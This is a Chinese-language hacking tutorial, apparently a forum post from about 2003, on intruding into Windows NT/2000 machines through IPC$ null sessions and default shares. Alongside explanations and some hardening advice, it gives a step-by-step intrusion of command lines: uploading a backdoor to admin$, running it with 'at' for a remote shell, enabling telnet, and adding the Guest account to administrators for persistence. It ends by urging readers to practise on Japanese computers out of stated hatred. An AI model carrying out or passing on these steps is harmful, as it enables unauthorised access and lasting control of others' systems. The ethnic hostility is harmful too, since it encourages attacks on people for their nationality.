一份詳盡的IPC$入侵資料

一 嘮叨一下:
網(wǎng)上關(guān)于ipc$入侵的文章可謂多如牛毛,而且也不乏優(yōu)秀之作,攻擊步驟甚至可以說已經(jīng)成為經(jīng)典的模式,因此也沒人愿意再把這已經(jīng)成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個(gè)人認(rèn)為這些文章講解的并不詳細(xì),對(duì)于第一次接觸ipc$的菜鳥來說,簡(jiǎn)單的羅列步驟并不能解答他們的許多迷惑(你隨便找一個(gè)hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當(dāng)于解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請(qǐng)馬上回復(fù)!


二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進(jìn)程間通信而開放的命名管道,可以通過驗(yàn)證用戶名和密碼獲得相應(yīng)的權(quán)限,在遠(yuǎn)程管理計(jì)算機(jī)和查看計(jì)算機(jī)的共享資源時(shí)使用。
利用IPC$,連接者甚至可以與目標(biāo)主機(jī)建立一個(gè)空的連接而無需用戶名與密碼(當(dāng)然,對(duì)方機(jī)器必須開了ipc$共享,否則你是連接不上的),而利用這個(gè)空的連接,連接者還可以得到目標(biāo)主機(jī)上的用戶列表(不過負(fù)責(zé)的管理員會(huì)禁止導(dǎo)出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實(shí),ipc$并不是真正意義上的漏洞,它是為了方便管理員的遠(yuǎn)程管理而開放的遠(yuǎn)程網(wǎng)絡(luò)登陸功能,而且還打開了默認(rèn)共享,即所有的邏輯盤(c$,d$,e$……)和系統(tǒng)目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷并不一定有好的收效,一些別有用心者(到底是什么用心?我也不知道,代詞一個(gè))會(huì)利用IPC$,訪問共享資源,導(dǎo)出用戶列表,并使用一些字典工具,進(jìn)行密碼探測(cè),寄希望于獲得更高的權(quán)限,從而達(dá)到不可告人的目的.

解惑:
1)IPC連接是Windows NT及以上系統(tǒng)中特有的遠(yuǎn)程網(wǎng)絡(luò)登陸功能,其功能相當(dāng)于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函數(shù),所以不能在Windows 9.x中運(yùn)行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現(xiàn)在都2003年了,建議98的同志換一下系統(tǒng)吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對(duì)方關(guān)閉了ipc$共享,你仍然無法建立連接
3)并不是說建立了ipc$連接就可以查看對(duì)方的用戶列表,因?yàn)楣芾韱T可以禁止導(dǎo)出用戶列表


三 建立ipc$連接在hack攻擊中的作用
就像上面所說的,即使你建立了一個(gè)空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個(gè)具有一定權(quán)限的用戶身份登陸的話,那么你就會(huì)得到相應(yīng)的權(quán)限,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結(jié)為獲取目標(biāo)信息、管理目標(biāo)進(jìn)程和服務(wù),上傳木馬并運(yùn)行,如果是2000server,還可以考慮開啟終端服務(wù)方便控制.怎么樣?夠厲害吧!)
不過你也不要高興的太早,因?yàn)楣芾韱T的密碼不是那么好搞到的,雖然會(huì)有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數(shù),而且現(xiàn)在不比從前了,隨著人們安全意識(shí)的提高,管理員們也愈加小心了,得到管理員密碼會(huì)越來越難的
因此今后你最大的可能就是以極小的權(quán)限甚至是沒有權(quán)限進(jìn)行連接,你會(huì)慢慢的發(fā)現(xiàn)ipc$連接并不是萬能的,甚至在主機(jī)不開啟ipc$共享時(shí),你根本就無法連接.
所以我認(rèn)為,你不要把ipc$入侵當(dāng)作終極武器,不要認(rèn)為它戰(zhàn)無不勝,它就像是足球場(chǎng)上射門前的傳球,很少會(huì)有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.


四 ipc$與空連接,139,445端口,默認(rèn)共享的關(guān)系
以上四者的關(guān)系可能是菜鳥很困惑的一個(gè)問題,不過大部分文章都沒有進(jìn)行特別的說明,其實(shí)我理解的也不是很透徹,都是在與大家交流中總結(jié)出來的.(一個(gè)有良好討論氛圍的BBS可以說是菜鳥的天堂)

1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個(gè)用戶或管理員的身份登陸(即以特定的用戶名和密碼進(jìn)行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以后就空連接好了,為什么還要費(fèi)九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當(dāng)你以空連接登陸時(shí),你沒有任何權(quán)限(很郁悶吧),而你以用戶或管理員的身份登陸時(shí),你就會(huì)有相應(yīng)的權(quán)限(有權(quán)限誰不想呀,所以還是老老實(shí)實(shí)掃吧,不要偷懶喲).
2)ipc$與139,445端口:
ipc$連接可以實(shí)現(xiàn)遠(yuǎn)程登陸及對(duì)默認(rèn)共享的訪問;而139端口的開啟表示netbios協(xié)議的應(yīng)用,我們可以通過139,445(win2000)端口實(shí)現(xiàn)對(duì)共享文件/打印機(jī)的訪問,因此一般來講,ipc$連接是需要139或445端口來支持的.
3)ipc$與默認(rèn)共享
默認(rèn)共享是為了方便管理員遠(yuǎn)程管理而默認(rèn)開啟的共享(你當(dāng)然可以關(guān)閉它),即所有的邏輯盤(c$,d$,e$……)和系統(tǒng)目錄winnt或windows(admin$),我們通過ipc$連接可以實(shí)現(xiàn)對(duì)這些默認(rèn)共享的訪問(前提嵌苑矯揮泄乇照廡┠瞎蠶?


五 ipc$連接失敗的原因
以下5個(gè)原因是比較常見的:
1)你的系統(tǒng)不是NT或以上操作系統(tǒng);
2)對(duì)方?jīng)]有打開ipc$默認(rèn)共享
3)對(duì)方未開啟139或445端口(惑被防火墻屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯(cuò)誤(空連接當(dāng)然無所謂了)
另外,你也可以根據(jù)返回的錯(cuò)誤號(hào)分析原因:
錯(cuò)誤號(hào)5,拒絕訪問 : 很可能你使用的用戶不是管理員權(quán)限的,先提升權(quán)限;
錯(cuò)誤號(hào)51,Windows 無法找到網(wǎng)絡(luò)路徑 : 網(wǎng)絡(luò)有問題;
錯(cuò)誤號(hào)53,找不到網(wǎng)絡(luò)路徑 : ip地址錯(cuò)誤;目標(biāo)未開機(jī);目標(biāo)lanmanserver服務(wù)未啟動(dòng);目標(biāo)有防火墻(端口過濾);
錯(cuò)誤號(hào)67,找不到網(wǎng)絡(luò)名 : 你的lanmanworkstation服務(wù)未啟動(dòng);目標(biāo)刪除了ipc$;
錯(cuò)誤號(hào)1219,提供的憑據(jù)與已存在的憑據(jù)集沖突 : 你已經(jīng)和對(duì)方建立了一個(gè)ipc$,請(qǐng)刪除再連。
錯(cuò)誤號(hào)1326,未知的用戶名或錯(cuò)誤密碼 : 原因很明顯了;
錯(cuò)誤號(hào)1792,試圖登錄,但是網(wǎng)絡(luò)登錄服務(wù)沒有啟動(dòng) : 目標(biāo)NetLogon服務(wù)未啟動(dòng)。(連接域控會(huì)出現(xiàn)此情況)
錯(cuò)誤號(hào)2242,此用戶的密碼已經(jīng)過期 : 目標(biāo)有帳號(hào)策略,強(qiáng)制定期要求更改密碼。
關(guān)于ipc$連不上的問題比較復(fù)雜,除了以上的原因,還會(huì)有其他一些不確定因素,在此本人無法詳細(xì)而確定的說明,就靠大家自己體會(huì)和試驗(yàn)了.


六 如何打開目標(biāo)的IPC$(此段引自相關(guān)文章)
首先你需要獲得一個(gè)不依賴于ipc$的shell,比如sql的cmd擴(kuò)展、telnet、木馬,當(dāng)然,這shell必須是admin權(quán)限的,然后你可以使用shell執(zhí)行命令 net share ipc$ 來開放目標(biāo)的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請(qǐng)確認(rèn)相關(guān)服務(wù)都已運(yùn)行,沒有就啟動(dòng)它(不知道怎么做的請(qǐng)看net命令的用法),還是不行的話(比如有防火墻,殺不了)建議放棄。


七 如何防范ipc$入侵
1禁止空連接進(jìn)行枚舉(此操作并不能阻止空連接的建立,引自《解剖win2000下的空會(huì)話》)
首先運(yùn)行regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設(shè)置為2的話,有一些問題會(huì)發(fā)生,比如一些WIN的服務(wù)出現(xiàn)問題等等)

2禁止默認(rèn)共享
1)察看本地共享資源
運(yùn)行-cmd-輸入net share
2)刪除共享(每次輸入一個(gè))
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續(xù)刪除)
3)停止server服務(wù)
net stop server /y (重新啟動(dòng)后server服務(wù)會(huì)重新開啟)
4)修改注冊(cè)表
運(yùn)行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節(jié)值)一個(gè)主健再改鍵值。

3永久關(guān)閉ipc$和默認(rèn)共享依賴的服務(wù):lanmanserver即server服務(wù)
控制面板-管理工具-服務(wù)-找到server服務(wù)(右擊)-屬性-常規(guī)-啟動(dòng)類型-已禁用

4安裝防火墻(選中相關(guān)設(shè)置),或者端口過濾(濾掉139,445等),或者用新版本的優(yōu)化大師

5設(shè)置復(fù)雜密碼,防止通過ipc$窮舉密碼


(本教程不定期更新,欲獲得最新版本,請(qǐng)登陸官方網(wǎng)站:菜菜鳥社區(qū)原創(chuàng)http://ccbirds.yeah.net)


八 相關(guān)命令
1)建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個(gè)空格)

2)建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個(gè)空格)

3)映射默認(rèn)共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對(duì)方的c盤映射為自己的z盤,其他盤類推)
如果已經(jīng)和目標(biāo)建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$

4)刪除一個(gè)ipc$連接
net use \\IP\ipc$ /del

5)刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會(huì)有提示要求按y確認(rèn)


九 經(jīng)典入侵模式
這個(gè)入侵模式太經(jīng)典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創(chuàng)作者!(不知道是哪位前輩)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是administrators,密碼為"空"的IP地址(空口令?哇,運(yùn)氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個(gè)連接,因?yàn)槊艽a為"空",所以第一個(gè)引號(hào)處就不用輸入,后面一個(gè)雙引號(hào)里的是用戶名,輸入administrators,命令即可成功完成。
  
2. C:\>copy srv.exe \\127.0.0.1\admin$
先復(fù)制srv.exe上去,在流光的Tools目錄下就有(這里的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要復(fù)制到什么地方去了)。
  
3. C:\>net time \\127.0.0.1
查查時(shí)間,發(fā)現(xiàn)127.0.0.1 的當(dāng)前時(shí)間是 2002/3/19 上午 11:00,命令成功完成。
  
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動(dòng)srv.exe吧(這里設(shè)置的時(shí)間要比主機(jī)時(shí)間快,不然你怎么啟動(dòng)啊,呵呵。
  
5. C:\>net time \\127.0.0.1
再查查到時(shí)間沒有?如果127.0.0.1 的當(dāng)前時(shí)間是 2002/3/19 上午 11:05,那就準(zhǔn)備開始下面的命令。
  
6. C:\>telnet 127.0.0.1 99
這里會(huì)用到Telnet命令吧,注意端口是99。Telnet默認(rèn)的是23端口,但是我們使用的是SRV在對(duì)方計(jì)算機(jī)中為我們建立一個(gè)99端口的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個(gè)Telnet服務(wù)!這就要用到ntlm了
  
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機(jī)上(ntlm.exe也是在《流光》的Tools目錄中)。
  
8. C:\WINNT\system32>ntlm
輸入ntlm啟動(dòng)(這里的C:\WINNT\system32>指的是對(duì)方計(jì)算機(jī),運(yùn)行ntlm其實(shí)是讓這個(gè)程序在對(duì)方計(jì)算機(jī)上運(yùn)行)。當(dāng)出現(xiàn)"DONE"的時(shí)候,就說明已經(jīng)啟動(dòng)正常。然后使用"net start telnet"來開啟Telnet服務(wù)!

9. Telnet 127.0.0.1,接著輸入用戶名與密碼就進(jìn)入對(duì)方了,操作就像在DOS上操作一樣簡(jiǎn)單!(然后你想做什么?想做什么就做什么吧,哈哈)

為了以防萬一,我們?cè)侔裧uest激活加到管理組
10. C:\>net user guest /active:yes
將對(duì)方的Guest用戶激活

11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設(shè)定的密碼

12. C:\>net localgroup administrators guest /add
將Guest變?yōu)锳dministrator^_^(如果管理員密碼更改,guest帳號(hào)沒改變的話,下次我們可以用guest再次訪問這臺(tái)計(jì)算機(jī))


十 總結(jié):
關(guān)于ipc入侵就說這么多了,覺得已經(jīng)夠詳細(xì)了,如果有不準(zhǔn)確的地方,希望能與大家討論.
最后,希望大家不要隨便入侵,我寫這篇文章的目的是想解答大家的疑惑,并不是鼓勵(lì)大家隨便的入侵,如果你非想試一下,建議拿小日本的機(jī)子開練(什么?為什么?因?yàn)槲矣憛捜毡?沒別的)
 
北大青鳥網(wǎng)上報(bào)名
北大青鳥招生簡(jiǎn)章